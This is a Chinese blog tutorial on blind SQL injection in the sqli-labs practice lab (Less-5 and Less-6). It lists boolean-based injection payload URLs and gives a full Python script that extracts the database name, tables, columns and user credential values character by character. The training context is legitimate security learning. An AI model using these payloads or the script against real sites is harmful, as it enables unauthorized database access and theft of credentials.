sqli-labs lession 5 之盲注型SQL入门

技术 作者:i春秋 2017-09-15 10:23:12 阅读:386
本文作者:Mochazz 如果所查询的用户id在数据库中,可以发现页面显示”You are in”,而不像前4关那样会显示出具体的账号密码。 如果sql语句查询结果不存在,则不会显示”You are in” 这种类型的SQL注入属于盲注型,使用id=1’观察报错信息,如下图 可以看到报错信息是”1” LIMIT 0,1′,也就是说后台代码可能是这样写的:SELECT * FROM users WHERE id=‘$id’ LIMIT 0,1, 下面,我们进行手工盲注测试,需要用到substr()、length()、ascii()、left()、count()这些sql数据库函数。 ascii(a)将a转换成其ASCII值 ord(a)将a转换成其ASCII值 left(a,b)从左往右截取字符串a的前b个字符 substr(a,b,c)从b位置开始,截取字符串a的c长度 mid(a,b,c)从位置b开始,截取a字符串的c位 select * from table_name limit m,n;表示从m+1开始取n条查询记录 具体可以参考这一篇文章:sqli-labs环境搭建及数据库基础 首先,我们要获取当前数据库名的长度,用于之后的数据库名猜解 http://127.0.0.1/sqlilabs/Less-5/?id=1and (length(database())=1)–+ 上面的数字你可以从1开始递增,发现在length(database())=8的时候,页面返回了正确信息,这说明当前数据库名长度为8,你可以用python写个简单脚本跑一下,效果图如下   接下来就要对数据库名的每个字符进行猜解 http://127.0.0.1/sqlilabs/Less-5/?id=1′ and (left(database(),1)=’s‘)–+ left(database(),1)=’s'表示数据库名从左往右取一个字符,判断该字符是否等于s left(database(),2)=’se’表示数据库名从左往右取两个个字符,判断该字符是否等于se 这里的s和se并不是固定的,你可以尝试ASCII表中的每个字符 同样写成脚本跑一下,效果图如下 图片7.png 下面要查询security数据库下的表的个数 http://127.0.0.1/sqlilabs/Less-5/?id=1′ and 1=(select count(table_name) from information_schema.tables where table_schema=’security‘)–+ 将等号左边的1进行递增即可判断出security数据库下表的个数,效果图如下 如果你不熟悉文中出现的select语句,可以参考:sqli-labs lession1-4 然后就是判断每个表名的长度 http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”security” limit 0,1),1,1))–+ 使用上面这个payload,如果页面返回”You are in”,则表示第一张表的长度至少为1,同样的,我们可以对limit num,1),num,1))num部分进行递增判断,如果进行到limit 0,1),7,1))时页面返回空,则说明第一张表的长度为7-1=6 判断出表名长度后,就要对表名进行猜解 http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”security” limit 0,1),1,1))=1–+ 这里其实跟上面的猜解数据库名原理是一样的,将等号右边的1进行递增判断,如果页面返回”You are in”,则表示第一张表的第一个字符的ASCII码为1,在参考ASCII码找到对应的字符就可以了。下面是程序运行效果图(截取部分吧,太多了)   接下来就要猜解每个表里的列的个数、列名以及列名长度,列名猜解,和上面原理都差不多,这里不再赘述,直接给出payload(以users表为例子)。 猜解列的个数 http://127.0.0.1/sqlilabs/Less-5/?id=1′ and %d=(select count(column_name) from information_schema.columns where table_name=’users‘)–+ 猜解列名长度 http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1))–+ 猜解列名 http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1))=97–+ 程序运行效果图 图片12.png 最后就是要猜解每个列里面的具体字段的长度以及值了(这里以猜解username为例) 判断字段长度 http://127.0.0.1/sqlilabs/Less-5/?id=1′ and 1=(select count(username) from security.users)–+ 判断字段长度 http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((select username from security.users limit 0,1),1,1))–+ 判断字段值 http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((select username from security.users limit 0,1),1,1))=95–+ 程序运行效果图 图片13.png 最后给出完整的python代码(python3)
import requests
url = 'http://192.168.1.158/sqlilabs/Less-5/?id=1'
db_length = 0
db_name = ''
table_num = 0
table_len = 0
table_name = ''
table_list = []
column_num = 0
column_len = 0
column_name = ''
column_list = []
dump_num = 0
dump_len = 0
dump_name = ''
dump_list = []
i = j = k = 0
### 当前数据库名长度 ###
for i in range(1,20):
    db_payload = '''' and (length(database())=%d)--+''' %i
    # print(url+db_payload)
    r = requests.get(url+db_payload)
    if "You are in" in r.text:
        db_length = i
        print('当前数据库名长度为:%d' % db_length)
        break
### 当前数据库名 ###
print('开始猜解数据库名......')
for i in range(1,db_length+1):
    for j in range(95,123):
        db_payload = '''' and (left(database(),%d)='%s')--+''' % (i,db_name+chr(j))
        r = requests.get(url+db_payload)
        if "You are in" in r.text:
            db_name += chr(j)
            # print(db_name)
            break
print('数据库名:\n[+]',db_name)
### 当前数据库表的数目 ###
for i in range(100):
    db_payload = '''' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+''' % (i,db_name)
    r = requests.get(url+db_payload)
    # print(url+db_payload)
    if "You are in" in r.text:
        table_num = i
        break
print('一共有%d张表' % table_num)
print('开始猜解表名......')
### 每张表的表名长度及表名 ###
for i in range(table_num):
    table_len = 0
    table_name = ''
    #### 表名长度 ####
    for j in range(1,21):
        db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit %d,1),%d,1))--+''' % (i,j)
        r = requests.get(url+db_payload)
        # print(db_payload)
        if "You are in" not in r.text:
            table_len = j-1
            #### 猜解表名 ####
            for k in range(1,table_len+1):
                for l in range(95,123):
                    db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d--+''' % (i,k,l)
                    # print(db_payload)
                    r = requests.get(url+db_payload)
                    # print(db_payload)
                    if "You are in" in r.text:
                        table_name += chr(l)
            print(table_name)
            table_list.append(table_name)
            break
print('表名:',table_list)
### 每个表的列的数目、列名及列名长度 ###
for i in table_list:
    #### 每个表的列的数目 ####
    for j in range(100):
        db_payload = '''' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+''' % (
        j, i)
        r = requests.get(url + db_payload)
        if "You are in" in r.text:
            column_num = j
            print(("[+] 表名:%-10s\t" % i) + str(column_num) + '字段')
            break
#### 猜解列名长度 ####
column_num = 3
print('%s表中的列名:' % table_list[-1])
for j in range(3):
    column_name = ''
    for k in range(1,21):
        db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))--+''' % (table_list[-1],j,k)
        r = requests.get(url+db_payload)
        if "You are in" not in r.text:
            column_len = k-1
            # print(column_len)
            break
        #### 猜解列名 ####
        for l in range(95,123):
            db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))=%d--+''' % (table_list[-1],j,k,l)
            r = requests.get(url + db_payload)
            if "You are in" in r.text:
                column_name += chr(l)
    print('[+] ',column_name)
    column_list.append(column_name)
print('开始爆破以下字段:',column_list[1:])
for column in column_list[1:]:
    print(column,':')
    dump_num = 0
    for i in range(30):
        db_payload = '''' and %d=(select count(%s) from %s.%s)--+''' % (i,column,db_name,table_list[-1])
        # print(db_payload)
        r = requests.get(url+db_payload)
        if "You are in" in r.text:
            dump_num = i
            # print(i)
            break
    for i in range(dump_num):
        dump_len = 0
        dump_name = ''
        #### 字段长度 ####
        for j in range(1, 21):
            db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+''' % (column,db_name,table_list[-1],i,j)
            r = requests.get(url + db_payload)
            if "You are in" not in r.text:
                dump_len = j-1
                for k in range(1, dump_len + 1):
                    for l in range(1,256):
                        db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))=%d--+''' % (column,db_name,table_list[-1],i,k,l)
                        # print(db_payload)
                        r = requests.get(url+db_payload)
                        if "You are in" in r.text:
                            dump_name += chr(l)
                            # print(dump_name)
                            break
                break
        print('[+]',dump_name)
Lession 6 至于第六关,看一下报错信息应该能猜出后台SQL查询语句为SELECT * FROM users WHERE id=”$id” LIMIT 0,1 所以直接将第五关写的代码修改一下,把代码中payload部分的’(单引号)改成”(双引号)即可 总结 写这个代码只是为了学习sql盲注,在写的过程中也想放弃,因为一直出错而且不知道错在哪里,但是最后还是完整的写完。其实代码还有很多地方可以改进,例如猜解字符可以使用二分法,这样效率会更快。还是继续努力吧。

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